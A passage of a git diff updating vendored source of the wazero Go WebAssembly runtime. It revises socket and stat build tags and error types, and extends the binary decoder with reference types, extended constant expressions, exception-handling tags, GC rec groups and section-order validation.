:= poll(fd, sys.POLLIN, 0); !ready || errno != 0 { return -1, errno } else { return 0, errno diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unsupported.go index 8c27fed7..f4f1b412 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unsupported.go @@ -1,4 +1,4 @@ -//go:build (!linux && !darwin && !windows) || tinygo +//go:build !(linux || darwin || windows) package sysfs @@ -6,9 +6,7 @@ import ( "net" "syscall" - "github.com/tetratelabs/wazero/experimental/sys" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" ) @@ -24,28 +22,28 @@ type unsupportedSockFile struct { } // Accept implements the same method as documented on socketapi.TCPSock -func (f *unsupportedSockFile) Accept() (socketapi.TCPConn, sys.Errno) { - return nil, sys.ENOSYS +func (f *unsupportedSockFile) Accept() (socketapi.TCPConn, experimentalsys.Errno) { + return nil, experimentalsys.ENOSYS } -func _pollSock(conn syscall.Conn, flag fsapi.Pflag, timeoutMillis int32) (bool, sys.Errno) { - return false, sys.ENOTSUP +func _pollSock(conn syscall.Conn, flag experimentalsys.Pflag, timeoutMillis int32) (bool, experimentalsys.Errno) { + return false, experimentalsys.ENOTSUP } -func setNonblockSocket(fd uintptr, enabled bool) sys.Errno { - return sys.ENOTSUP +func setNonblockSocket(fd uintptr, enabled bool) experimentalsys.Errno { + return experimentalsys.ENOTSUP } -func readSocket(fd uintptr, buf []byte) (int, sys.Errno) { - return -1, sys.ENOTSUP +func readSocket(fd uintptr, buf []byte) (int, experimentalsys.Errno) { + return -1, experimentalsys.ENOTSUP } -func writeSocket(fd uintptr, buf []byte) (int, sys.Errno) { - return -1, sys.ENOTSUP +func writeSocket(fd uintptr, buf []byte) (int, experimentalsys.Errno) { + return -1, experimentalsys.ENOTSUP } -func recvfrom(fd uintptr, buf []byte, flags int32) (n int, errno sys.Errno) { - return -1, sys.ENOTSUP +func recvfrom(fd uintptr, buf []byte, flags int32) (n int, errno experimentalsys.Errno) { + return -1, experimentalsys.ENOTSUP } // syscallConnControl extracts a syscall.RawConn from the given syscall.Conn and applies @@ -54,8 +52,8 @@ func recvfrom(fd uintptr, buf []byte, flags int32) (n int, errno sys.Errno) { // syscallConnControl streamlines the pattern of extracting the syscall.Rawconn, // invoking its syscall.RawConn.Control method, then handling properly the errors that may occur // within fn or returned by syscall.RawConn.Control itself. -func syscallConnControl(conn syscall.Conn, fn func(fd uintptr) (int, experimentalsys.Errno)) (n int, errno sys.Errno) { - return -1, sys.ENOTSUP +func syscallConnControl(conn syscall.Conn, fn func(fd uintptr) (int, experimentalsys.Errno)) (n int, errno experimentalsys.Errno) { + return -1, experimentalsys.ENOTSUP } // Accept implements the same method as documented on socketapi.TCPSock diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go index 703df42f..d7121343 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go @@ -7,15 +7,15 @@ import ( "syscall" "unsafe" + "golang.org/x/sys/windows" + "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" ) const ( // MSG_PEEK is the flag PEEK for syscall.Recvfrom on Windows. - // This constant is not exported on this platform. - MSG_PEEK = 0x2 + MSG_PEEK = windows.MSG_PEEK // _FIONBIO is the flag to set the O_NONBLOCK flag on socket handles using ioctlsocket. _FIONBIO = 0x8004667e ) @@ -69,8 +69,8 @@ func setNonblockSocket(fd uintptr, enabled bool) sys.Errno { return sys.UnwrapOSError(errno) } -func _pollSock(conn syscall.Conn, flag fsapi.Pflag, timeoutMillis int32) (bool, sys.Errno) { - if flag != fsapi.POLLIN { +func _pollSock(conn syscall.Conn, flag sys.Pflag, timeoutMillis int32) (bool, sys.Errno) { + if flag != sys.POLLIN { return false, sys.ENOTSUP } n, errno := syscallConnControl(conn, func(fd uintptr) (int, sys.Errno) { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go deleted file mode 100644 index 254e204c..00000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go +++ /dev/null @@ -1,37 +0,0 @@ -//go:build (amd64 || arm64) && (darwin || freebsd) - -package sysfs - -import ( - "io/fs" - "os" - - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/sys" -) - -// dirNlinkIncludesDot is true because even though os.File filters out dot -// entries, the underlying syscall.Stat includes them. -// -// Note: this is only used in tests -const dirNlinkIncludesDot = true - -func lstat(path string) (sys.Stat_t, experimentalsys.Errno) { - if info, err := os.Lstat(path); err != nil { - return sys.Stat_t{}, experimentalsys.UnwrapOSError(err) - } else { - return sys.NewStat_t(info), 0 - } -} - -func stat(path string) (sys.Stat_t, experimentalsys.Errno) { - if info, err := os.Stat(path); err != nil { - return sys.Stat_t{}, experimentalsys.UnwrapOSError(err) - } else { - return sys.NewStat_t(info), 0 - } -} - -func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) { - return defaultStatFile(f) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_supported.go similarity index 92% rename from vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go rename to vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_supported.go index fd289756..93b63906 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_supported.go @@ -1,4 +1,4 @@ -//go:build (amd64 || arm64 || riscv64) && linux +//go:build linux || darwin || freebsd || netbsd || openbsd || dragonfly || solaris // Note: This expression is not the same as compiler support, even if it looks // similar. Platform functions here are used in interpreter mode as well. diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go index 4b05a897..d73027fa 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go @@ -1,4 +1,4 @@ -//go:build (!((amd64 || arm64 || riscv64) && linux) && !((amd64 || arm64) && (darwin || freebsd)) && !((amd64 || arm64) && windows)) || js +//go:build !(linux || darwin || freebsd || netbsd || openbsd || dragonfly || solaris || windows) package sysfs diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go index 4456dd78..23e76a98 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go @@ -1,5 +1,3 @@ -//go:build (amd64 || arm64) && windows - package sysfs import ( diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_unix.go similarity index 86% rename from vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go rename to vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_unix.go index e3f05100..14e4a9f7 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_unix.go @@ -1,4 +1,4 @@ -//go:build !windows && !plan9 && !tinygo +//go:build unix package sysfs diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_plan9.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_unsupported.go similarity index 70% rename from vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_plan9.go rename to vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_unsupported.go index 16ed06ab..cc36502e 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_plan9.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_unsupported.go @@ -1,12 +1,14 @@ +//go:build !(unix || windows) + package sysfs import ( - "syscall" + "os" "github.com/tetratelabs/wazero/experimental/sys" ) func unlink(name string) sys.Errno { - err := syscall.Remove(name) + err := os.Remove(name) return sys.UnwrapOSError(err) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/code.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/code.go index 2fac9196..162cdf38 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/code.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/code.go @@ -45,11 +45,22 @@ func decodeCode(r *bytes.Reader, codeSectionStart uint64, ret *wasm.Code) (err e } bytesRead += n + 1 - switch vt := b; vt { + switch vt := b; wasm.ValueType(vt) { case wasm.ValueTypeI32, wasm.ValueTypeF32, wasm.ValueTypeI64, wasm.ValueTypeF64, - wasm.ValueTypeFuncref, wasm.ValueTypeExternref, wasm.ValueTypeV128: + wasm.ValueTypeFuncref, wasm.ValueTypeExternref, wasm.ValueTypeV128, + wasm.ValueTypeExnref: default: - return fmt.Errorf("invalid local type: 0x%x", vt) + switch vt { + case wasm.RefPrefixNullable, wasm.RefPrefixNonNullable: + // Read and skip the heap type. + _, htNum, err := leb128.DecodeInt33AsInt64(r) + if err != nil { + return fmt.Errorf("read local ref heap type: %v", err) + } + bytesRead += htNum + default: + return fmt.Errorf("invalid local type: 0x%x", vt) + } } } @@ -78,8 +89,21 @@ func decodeCode(r *bytes.Reader, codeSectionStart uint64, ret *wasm.Code) (err e return fmt.Errorf("read type of local: %v", err) } + var vt wasm.ValueType + switch b { + case wasm.RefPrefixNullable, wasm.RefPrefixNonNullable: + before := r.Len() + vt, err = decodeRefType(r, b == wasm.RefPrefixNullable) + if err != nil { + return err + } + remaining -= int64(before - r.Len()) + default: + vt = wasm.ValueType(b) + } + for j := uint32(0); j < num; j++ { - localTypes = append(localTypes, b) + localTypes = append(localTypes, vt) } } diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/const_expr.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/const_expr.go index edfc0a08..0a5095c9 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/const_expr.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/const_expr.go @@ -6,100 +6,111 @@ import ( "io" "github.com/tetratelabs/wazero/api" + "github.com/tetratelabs/wazero/experimental" "github.com/tetratelabs/wazero/internal/ieee754" "github.com/tetratelabs/wazero/internal/leb128" "github.com/tetratelabs/wazero/internal/wasm" ) func decodeConstantExpression(r *bytes.Reader, enabledFeatures api.CoreFeatures, ret *wasm.ConstantExpression) error { - b, err := r.ReadByte() - if err != nil { - return fmt.Errorf("read opcode: %v", err) - } - - remainingBeforeData := int64(r.Len()) - offsetAtData := r.Size() - remainingBeforeData - - opcode := b - switch opcode { - case wasm.OpcodeI32Const: - // Treat constants as signed as their interpretation is not yet known per /RATIONALE.md - _, _, err = leb128.DecodeInt32(r) - case wasm.OpcodeI64Const: - // Treat constants as signed as their interpretation is not yet known per /RATIONALE.md - _, _, err = leb128.DecodeInt64(r) - case wasm.OpcodeF32Const: - buf := make([]byte, 4) - if _, err := io.ReadFull(r, buf); err != nil { - return fmt.Errorf("read f32 constant: %v", err) - } - _, err = ieee754.DecodeFloat32(buf) - case wasm.OpcodeF64Const: - buf := make([]byte, 8) - if _, err := io.ReadFull(r, buf); err != nil { - return fmt.Errorf("read f64 constant: %v", err) - } - _, err = ieee754.DecodeFloat64(buf) - case wasm.OpcodeGlobalGet: - _, _, err = leb128.DecodeUint32(r) - case wasm.OpcodeRefNull: - if err := enabledFeatures.RequireEnabled(api.CoreFeatureBulkMemoryOperations); err != nil { - return fmt.Errorf("ref.null is not supported as %w", err) - } - reftype, err := r.ReadByte() - if err != nil { - return fmt.Errorf("read reference type for ref.null: %w", err) - } else if reftype != wasm.RefTypeFuncref && reftype != wasm.RefTypeExternref { - return fmt.Errorf("invalid type for ref.null: 0x%x", reftype) - } - case wasm.OpcodeRefFunc: - if err := enabledFeatures.RequireEnabled(api.CoreFeatureBulkMemoryOperations); err != nil { - return fmt.Errorf("ref.func is not supported as %w", err) - } - // Parsing index. - _, _, err = leb128.DecodeUint32(r) - case wasm.OpcodeVecPrefix: - if err := enabledFeatures.RequireEnabled(api.CoreFeatureSIMD); err != nil { - return fmt.Errorf("vector instructions are not supported as %w", err) - } - opcode, err = r.ReadByte() + lenAtStart := r.Len() + startPos := r.Size() - int64(lenAtStart) + for { + opcode, err := r.ReadByte() if err != nil { - return fmt.Errorf("read vector instruction opcode suffix: %w", err) + return fmt.Errorf("read const expression opcode: %v", err) } + switch opcode { + case wasm.OpcodeI32Const: + // Treat constants as signed as their interpretation is not yet known per /RATIONALE.md + _, _, err = leb128.DecodeInt32(r) + case wasm.OpcodeI32Add, wasm.OpcodeI32Sub, wasm.OpcodeI32Mul: + // No immediate to read. + if !enabledFeatures.IsEnabled(experimental.CoreFeaturesExtendedConst) { + return fmt.Errorf("%v is not supported in a constant expression as feature \"extended-const\" is disabled", wasm.InstructionName(opcode)) + } + case wasm.OpcodeI64Const: + // Treat constants as signed as their interpretation is not yet known per /RATIONALE.md + _, _, err = leb128.DecodeInt64(r) + case wasm.OpcodeI64Add, wasm.OpcodeI64Sub, wasm.OpcodeI64Mul: + // No immediate to read. + if !enabledFeatures.IsEnabled(experimental.CoreFeaturesExtendedConst) { + return fmt.Errorf("%v is not supported in a constant expression as feature \"extended-const\" is disabled", wasm.InstructionName(opcode)) + } + case wasm.OpcodeF32Const: + buf := make([]byte, 4) + if _, err := io.ReadFull(r, buf); err != nil { + return fmt.Errorf("read f32 constant: %v", err) + } + _, err = ieee754.DecodeFloat32(buf) + case wasm.OpcodeF64Const: + buf := make([]byte, 8) + if _, err := io.ReadFull(r, buf); err != nil { + return fmt.Errorf("read f64 constant: %v", err) + } + _, err = ieee754.DecodeFloat64(buf) + case wasm.OpcodeGlobalGet: + _, _, err = leb128.DecodeUint32(r) + case wasm.OpcodeRefNull: + if err := enabledFeatures.RequireEnabled(api.CoreFeatureBulkMemoryOperations); err != nil { + return fmt.Errorf("ref.null is not supported as %w", err) + } + b, err := r.ReadByte() + reftype := wasm.ValueType(b) + if err != nil { + return fmt.Errorf("read reference type for ref.null: %w", err) + } + switch reftype { + case wasm.RefTypeFuncref, wasm.RefTypeExternref, wasm.ValueTypeExnref: + // Valid abstract heap type. + default: + // Could be a concrete type index; unread the byte and try reading as LEB128. + if err := r.UnreadByte(); err != nil { + return fmt.Errorf("unread byte for ref.null: %w", err) + } + _, _, err = leb128.DecodeUint32(r) + if err != nil { + return fmt.Errorf("invalid type for ref.null: 0x%x", reftype) + } + } + case wasm.OpcodeRefFunc: + if err := enabledFeatures.RequireEnabled(api.CoreFeatureBulkMemoryOperations); err != nil { + return fmt.Errorf("ref.func is not supported as %w", err) + } + // Parsing index. + _, _, err = leb128.DecodeUint32(r) + case wasm.OpcodeVecPrefix: + if err := enabledFeatures.RequireEnabled(api.CoreFeatureSIMD); err != nil { + return fmt.Errorf("vector instructions are not supported as %w", err) + } + opcode, err = r.ReadByte() + if err != nil { + return fmt.Errorf("read vector instruction opcode suffix: %w", err) + } - if opcode != wasm.OpcodeVecV128Const { - return fmt.Errorf("invalid vector opcode for const expression: %#x", opcode) - } + if opcode != wasm.OpcodeVecV128Const { + return fmt.Errorf("invalid vector opcode for const expression: %#x", opcode) + } - remainingBeforeData = int64(r.Len()) - offsetAtData = r.Size() - remainingBeforeData + n, err := r.Read(make([]byte, 16)) + if err != nil { + return fmt.Errorf("read vector const instruction immediates: %w", err) + } else if n != 16 { + return fmt.Errorf("read vector const instruction immediates: needs 16 bytes but was %d bytes", n) + } + case wasm.OpcodeEnd: + data := make([]byte, lenAtStart-(r.Len())) + if _, err := r.ReadAt(data, startPos); err != nil { + return fmt.Errorf("error re-buffering ConstantExpression.Data: %w", err) + } + ret.Data = data + return nil + default: + return fmt.Errorf("%v for const expression op code: %#x", ErrInvalidByte, opcode) + } - n, err := r.Read(make([]byte, 16)) if err != nil { - return fmt.Errorf("read vector const instruction immediates: %w", err) - } else if n != 16 { - return fmt.Errorf("read vector const instruction immediates: needs 16 bytes but was %d bytes", n) + return fmt.Errorf("read value: %v", err) } - default: - return fmt.Errorf("%v for const expression opt code: %#x", ErrInvalidByte, b) - } - - if err != nil { - return fmt.Errorf("read value: %v", err) - } - - if b, err = r.ReadByte(); err != nil { - return fmt.Errorf("look for end opcode: %v", err) - } - - if b != wasm.OpcodeEnd { - return fmt.Errorf("constant expression has been not terminated") - } - - ret.Data = make([]byte, remainingBeforeData-int64(r.Len())-1) - if _, err = r.ReadAt(ret.Data, offsetAtData); err != nil { - return fmt.Errorf("error re-buffering ConstantExpression.Data") } - ret.Opcode = opcode - return nil } diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/decoder.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/decoder.go index c4191dae..b794ce62 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/decoder.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/decoder.go @@ -8,6 +8,7 @@ import ( "io" "github.com/tetratelabs/wazero/api" + "github.com/tetratelabs/wazero/experimental" "github.com/tetratelabs/wazero/internal/leb128" "github.com/tetratelabs/wazero/internal/wasm" "github.com/tetratelabs/wazero/internal/wasmdebug" @@ -38,6 +39,7 @@ func DecodeModule( memSizer := newMemorySizer(memoryLimitPages, memoryCapacityFromMax) m := &wasm.Module{} + var lastSectionID wasm.SectionID var info, line, str, abbrev, ranges []byte // For DWARF Data. for { // TODO: except custom sections, all others are required to be in order, but we aren't checking yet. @@ -54,6 +56,12 @@ func DecodeModule( return nil, fmt.Errorf("get size of section %s: %v", wasm.SectionIDName(sectionID), err) } + var ok bool + lastSectionID, ok = checkSectionOrder(sectionID, lastSectionID) + if !ok { + return nil, errors.New("invalid section order") + } + sectionContentStart := r.Len() switch sectionID { case wasm.SectionIDCustom: @@ -106,7 +114,7 @@ func DecodeModule( case wasm.SectionIDType: m.TypeSection, err = decodeTypeSection(enabledFeatures, r) case wasm.SectionIDImport: - m.ImportSection, m.ImportPerModule, m.ImportFunctionCount, m.ImportGlobalCount, m.ImportMemoryCount, m.ImportTableCount, err = decodeImportSection(r, memSizer, memoryLimitPages, enabledFeatures) + m.ImportSection, m.ImportPerModule, m.ImportFunctionCount, m.ImportGlobalCount, m.ImportMemoryCount, m.ImportTableCount, m.ImportTagCount, err = decodeImportSection(r, memSizer, memoryLimitPages, enabledFeatures) if err != nil { return nil, err // avoid re-wrapping the error. } @@ -116,6 +124,11 @@ func DecodeModule( m.TableSection, err = decodeTableSection(r, enabledFeatures) case wasm.SectionIDMemory: m.MemorySection, err = decodeMemorySection(r, enabledFeatures, memSizer, memoryLimitPages) + case wasm.SectionIDTag: + if err := enabledFeatures.RequireEnabled(experimental.CoreFeaturesExceptionHandling); err != nil { + return nil, fmt.Errorf("tag section not supported as %v", err) + } + m.TagSection, err = decodeTagSection(r) case wasm.SectionIDGlobal: if m.GlobalSection, err = decodeGlobalSection(r, enabledFeatures); err != nil { return nil, err // avoid re-wrapping the error. @@ -123,9 +136,6 @@ func DecodeModule( case wasm.SectionIDExport: m.ExportSection, m.Exports, err = decodeExportSection(r) case wasm.SectionIDStart: - if m.StartSection != nil { - return nil, errors.New("multiple start sections are invalid") - } m.StartSection, err = decodeStartSection(r) case wasm.SectionIDElement: m.ElementSection, err = decodeElementSection(r, enabledFeatures) @@ -164,6 +174,38 @@ func DecodeModule( return m, nil } +func checkSectionOrder(current, previous wasm.SectionID) (byte, bool) { + // https://webassembly.github.io/spec/core/binary/modules.html#binary-module + + // Custom sections can show up anywhere. + if current == wasm.SectionIDCustom { + return previous, true + } + + // Tag section (ID 13) must come after Memory (5) and before Global (6). + if current == wasm.SectionIDTag { + return current, previous <= wasm.SectionIDMemory + } + if previous == wasm.SectionIDTag { + return current, current >= wasm.SectionIDGlobal + } + + // DataCount was introduced in Wasm 2.0. + // It must come after Element and before Code. + if current > wasm.SectionIDDataCount { + return current, false + } + if current == wasm.SectionIDDataCount { + return current, previous <= wasm.SectionIDElement + } + if previous == wasm.SectionIDDataCount { + return current, current >= wasm.SectionIDCode + } + + // Otherwise, strictly increasing order. + return current, current > previous +} + // memorySizer derives min, capacity and max pages from decoded wasm. type memorySizer func(minPages uint32, maxPages *uint32) (min uint32, capacity uint32, max uint32) diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/element.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/element.go index 7ab4b48e..08a9f905 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/element.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/element.go @@ -2,7 +2,6 @@ package binary import ( "bytes" - "errors" "fmt" "github.com/tetratelabs/wazero/api" @@ -21,13 +20,13 @@ func ensureElementKindFuncRef(r *bytes.Reader) error { return nil } -func decodeElementInitValueVector(r *bytes.Reader) ([]wasm.Index, error) { +func decodeElementInitValueVector(r *bytes.Reader) ([]wasm.ConstantExpression, error) { vs, _, err := leb128.DecodeUint32(r) if err != nil { return nil, fmt.Errorf("get size of vector: %w", err) } - vec := make([]wasm.Index, vs) + vec := make([]wasm.ConstantExpression, vs) for i := range vec { u32, _, err := leb128.DecodeUint32(r) if err != nil { @@ -37,61 +36,43 @@ func decodeElementInitValueVector(r *bytes.Reader) ([]wasm.Index, error) { if u32 >= wasm.MaximumFunctionIndex { return nil, fmt.Errorf("too large function index in Element init: %d", u32) } - vec[i] = u32 + vec[i] = wasm.NewConstantExpressionFromOpcode(wasm.OpcodeRefFunc, leb128.EncodeUint32(u32)) } return vec, nil } -func decodeElementConstExprVector(r *bytes.Reader, elemType wasm.RefType, enabledFeatures api.CoreFeatures) ([]wasm.Index, error) { +func decodeElementConstExprVector(r *bytes.Reader, elemType wasm.RefType, enabledFeatures api.CoreFeatures) ([]wasm.ConstantExpression, error) { vs, _, err := leb128.DecodeUint32(r) if err != nil { return nil, fmt.Errorf("failed to get the size of constexpr vector: %w", err) } - vec := make([]wasm.Index, vs) + vec := make([]wasm.ConstantExpression, vs) for i := range vec { - var expr wasm.ConstantExpression - err := decodeConstantExpression(r, enabledFeatures, &expr) + err := decodeConstantExpression(r, enabledFeatures, &vec[i]) if err != nil { return nil, err } - switch expr.Opcode { - case wasm.OpcodeRefFunc: - if elemType != wasm.RefTypeFuncref { - return nil, fmt.Errorf("element type mismatch: want %s, but constexpr has funcref", wasm.RefTypeName(elemType)) - } - v, _, _ := leb128.LoadUint32(expr.Data) - if v >= wasm.MaximumFunctionIndex { - return nil, fmt.Errorf("too large function index in Element init: %d", v) - } - vec[i] = v - case wasm.OpcodeRefNull: - if elemType != expr.Data[0] { - return nil, fmt.Errorf("element type mismatch: want %s, but constexpr has %s", - wasm.RefTypeName(elemType), wasm.RefTypeName(expr.Data[0])) - } - vec[i] = wasm.ElementInitNullReference - case wasm.OpcodeGlobalGet: - i32, _, _ := leb128.LoadInt32(expr.Data) - // Resolving the reference type from globals is done at instantiation phase. See the comment on - // wasm.elementInitImportedGlobalReferenceType. - vec[i] = wasm.WrapGlobalIndexAsElementInit(wasm.Index(i32)) - default: - return nil, fmt.Errorf("const expr must be either ref.null or ref.func but was %s", wasm.InstructionName(expr.Opcode)) - } + // Expression will be validated later since we don't yet have globals to resolve the types yet. + } return vec, nil } -func decodeElementRefType(r *bytes.Reader) (ret wasm.RefType, err error) { - ret, err = r.ReadByte() +func decodeElementRefType(r *bytes.Reader) (wasm.RefType, error) { + b, err := r.ReadByte() if err != nil { - err = fmt.Errorf("read element ref type: %w", err) - return + return 0, fmt.Errorf("read element ref type: %w", err) } - if ret != wasm.RefTypeFuncref && ret != wasm.RefTypeExternref { - return 0, errors.New("ref type must be funcref or externref for element as of WebAssembly 2.0") + switch b { + case wasm.RefPrefixNullable, wasm.RefPrefixNonNullable: + return decodeRefType(r, b == wasm.RefPrefixNullable) + default: + ret := wasm.ValueType(b) + if ret != wasm.RefTypeFuncref && ret != wasm.RefTypeExternref { + return 0, fmt.Errorf("invalid ref type for element: 0x%x", b) + } + return ret, nil } - return } const ( @@ -142,7 +123,7 @@ func decodeElementSegment(r *bytes.Reader, enabledFeatures api.CoreFeatures, ret } ret.Mode = wasm.ElementModeActive - ret.Type = wasm.RefTypeFuncref + ret.Type = wasm.RefTypeFuncref.AsNonNullable() return nil case elementSegmentPrefixPassiveFuncrefValueVector: // Prefix 1 requires funcref. @@ -155,7 +136,7 @@ func decodeElementSegment(r *bytes.Reader, enabledFeatures api.CoreFeatures, ret return err } ret.Mode = wasm.ElementModePassive - ret.Type = wasm.RefTypeFuncref + ret.Type = wasm.RefTypeFuncref.AsNonNullable() return nil case elementSegmentPrefixActiveFuncrefValueVectorWithTableIndex: ret.TableIndex, _, err = leb128.DecodeUint32(r) @@ -185,7 +166,7 @@ func decodeElementSegment(r *bytes.Reader, enabledFeatures api.CoreFeatures, ret } ret.Mode = wasm.ElementModeActive - ret.Type = wasm.RefTypeFuncref + ret.Type = wasm.RefTypeFuncref.AsNonNullable() return nil case elementSegmentPrefixDeclarativeFuncrefValueVector: // Prefix 3 requires funcref. @@ -196,7 +177,7 @@ func decodeElementSegment(r *bytes.Reader, enabledFeatures api.CoreFeatures, ret if err != nil { return err } - ret.Type = wasm.RefTypeFuncref + ret.Type = wasm.RefTypeFuncref.AsNonNullable() ret.Mode = wasm.ElementModeDeclarative return nil case elementSegmentPrefixActiveFuncrefConstExprVector: diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/export.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/export.go index 925e9c49..76f222a0 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/export.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/export.go @@ -21,7 +21,7 @@ func decodeExport(r *bytes.Reader, ret *wasm.Export) (err error) { ret.Type = b switch ret.Type { - case wasm.ExternTypeFunc, wasm.ExternTypeTable, wasm.ExternTypeMemory, wasm.ExternTypeGlobal: + case wasm.ExternTypeFunc, wasm.ExternTypeTable, wasm.ExternTypeMemory, wasm.ExternTypeGlobal, wasm.ExternTypeTag: if ret.Index, _, err = leb128.DecodeUint32(r); err != nil { err = fmt.Errorf("error decoding export index: %w", err) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/import.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/import.go index 39d310c5..1e830cc4 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/import.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/import.go @@ -42,6 +42,22 @@ func decodeImport( ret.DescMem, err = decodeMemory(r, enabledFeatures, memorySizer, memoryLimitPages) case wasm.ExternTypeGlobal: ret.DescGlobal, err = decodeGlobalType(r) + case wasm.ExternTypeTag: + if err = enabledFeatures.RequireEnabled(api.CoreFeatureSIMD << 4); err != nil { // CoreFeaturesExceptionHandling + err = fmt.Errorf("tag imports require exception handling feature: %w", err) + break + } + // Tag import: read attribute byte (must be 0x00) then type index. + var attr byte + attr, err = r.ReadByte() + if err != nil { + break + } + if attr != 0x00 { + err = fmt.Errorf("invalid tag attribute: %#x", attr) + break + } + ret.DescTag, _, err = leb128.DecodeUint32(r) default: err = fmt.Errorf("%w: invalid byte for importdesc: %#x", ErrInvalidByte, b) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/section.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/section.go index 622ee592..e1397df1 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/section.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/binary/section.go @@ -16,15 +16,70 @@ func decodeTypeSection(enabledFeatures api.CoreFeatures, r *bytes.Reader) ([]was return nil, fmt.Errorf("get size of vector: %w", err) } - result := make([]wasm.FunctionType, vs) + var result []wasm.FunctionType for i := uint32(0); i < vs; i++ { - if err = decodeFunctionType(enabledFeatures, r, &result[i]); err != nil { + // Peek at the leading byte to check for rec group (0x4e, GC proposal). + b, err := r.ReadByte() + if err != nil { return nil, fmt.Errorf("read %d-th type: %v", i, err) } + if b == 0x4e { + // Rec group: contains multiple types. + recCount, _, err := leb128.DecodeUint32(r) + if err != nil { + return nil, fmt.Errorf("read rec group count: %v", err) + } + startIdx := uint32(len(result)) + for j := uint32(0); j < recCount; j++ { + var ft wasm.FunctionType + if err = decodeFunctionType(enabledFeatures, r, &ft); err != nil { + return nil, fmt.Errorf("read %d-th type in rec group: %v", j, err) + } + ft.RecGroupSize = int(recCount) + ft.RecGroupPosition = int(j) + result = append(result, ft) + } + for j := uint32(0); j < recCount; j++ { + if err := validateTypeForwardRefs(&result[startIdx+j], startIdx+recCount); err != nil { + return nil, err + } + } + } else { + // Put back the byte and decode as a regular function type. + if err := r.UnreadByte(); err != nil { + return nil, err + } + var ft wasm.FunctionType + if err = decodeFunctionType(enabledFeatures, r, &ft); err != nil { + return nil, fmt.Errorf("read %d-th type: %v", i, err) + } + if err := validateTypeForwardRefs(&ft, uint32(len(result))); err != nil { + return nil, err + } + result = append(result, ft) + } } return result, nil } +// validateTypeForwardRefs 